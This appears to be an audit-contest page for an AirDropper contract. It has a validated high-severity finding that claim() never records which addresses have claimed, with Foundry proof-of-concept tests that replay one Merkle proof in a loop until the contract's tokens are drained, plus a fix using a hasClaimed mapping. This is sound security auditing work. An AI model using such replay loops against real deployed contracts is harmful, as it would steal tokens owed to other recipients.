AirDropper
AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing state update allows unlimited claim replay to completely drain contract balance

ruffnex

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

## Summary
The `MerkleAirdrop.claim()` function does not record whether an eligible address has already claimed their airdrop. As a result, the same valid Merkle proof can be replayed infinitely to drain tokens from the contract.
​
## Vulnerability Detail
The contract uses cryptographic Merkle proofs to verify a user's eligibility. However, a valid proof remains mathematically valid forever unless the `s_merkleRoot` changes.
​
Because the smart contract fails to update any state variable (such as a `mapping(address => bool) s_hasClaimed`) after a successful transfer, there is no historical check. An attacker can use their own valid leaf or public proofs from prior transactions to repeatedly call `claim()`.
​
## Impact
High. An attacker or an eligible user can infinitely replay the claim function to completely drain the contract's entire token balance (100% of the stored USDC), leaving other eligible recipients with nothing.
​
​
## Tools Used
* Custom static analysis scripts
* Foundry / Forge simulation engine

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

Add the following test to your test suite and run it via `forge test --match-test testSelfReplayDrainsOtherRecipients -vvv`:
​
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
​
import { Test, console } from "forge-std/Test.sol";
import { MerkleAirdrop } from "../src/MerkleAirdrop.sol";
import { AirdropToken } from "./mocks/AirdropToken.sol";
​
contract ReplayPoC is Test {
MerkleAirdrop airdrop;
AirdropToken token;
​
bytes32 constant MERKLE_ROOT = 0x3b2e22da63ae414086bec9c9da6b685f790c6fab200c7918f2879f08793d77bd;
address constant COLLECTOR_ONE = 0x20F41376c713072937eb02Be70ee1eD0D639966C;
uint256 constant AMOUNT_PER_CLAIM = 25 * 1e6;
uint256 constant TOTAL_FUNDED = AMOUNT_PER_CLAIM * 4;
​
bytes32[] proof = [
bytes32(0x32cee63464b09930b5c3f59f955c86694a4c640a03aa57e6f743d8a3ca5c8838),
bytes32(0x8ff683185668cbe035a18fccec4080d7a0331bb1bbc532324f40501de5e8ea5c)
];
​
function setUp() public {
token = new AirdropToken();
airdrop = new MerkleAirdrop(MERKLE_ROOT, token);
token.mint(address(this), TOTAL_FUNDED);
token.transfer(address(airdrop), TOTAL_FUNDED);
}
​
function testSelfReplayDrainsOtherRecipients() public {
vm.deal(COLLECTOR_ONE, airdrop.getFee());
vm.prank(COLLECTOR_ONE);
airdrop.claim{ value: airdrop.getFee() }(COLLECTOR_ONE, AMOUNT_PER_CLAIM, proof);
​
uint256 remainingAfterLegit = token.balanceOf(address(airdrop));
​
uint256 extraIterations = remainingAfterLegit / AMOUNT_PER_CLAIM;
vm.deal(COLLECTOR_ONE, airdrop.getFee() * extraIterations);
vm.startPrank(COLLECTOR_ONE);
for (uint256 i = 0; i < extraIterations; i++) {
airdrop.claim{ value: airdrop.getFee() }(COLLECTOR_ONE, AMOUNT_PER_CLAIM, proof);
}
vm.stopPrank();
​
assertEq(token.balanceOf(address(airdrop)), 0, "contract not drained");
assertEq(token.balanceOf(COLLECTOR_ONE), TOTAL_FUNDED, "theft failed");
}
}
```

Recommended Mitigation

Implement a state mapping to keep track of addresses that have already claimed their tokens, adhering to the Checks-Effects-Interactions pattern:
​
```solidity
mapping(address => bool) public s_hasClaimed;
​
error MerkleAirdrop__AlreadyClaimed();
​
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed();
s_hasClaimed[account] = true;
// ... verification & transfer logic ...
}
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!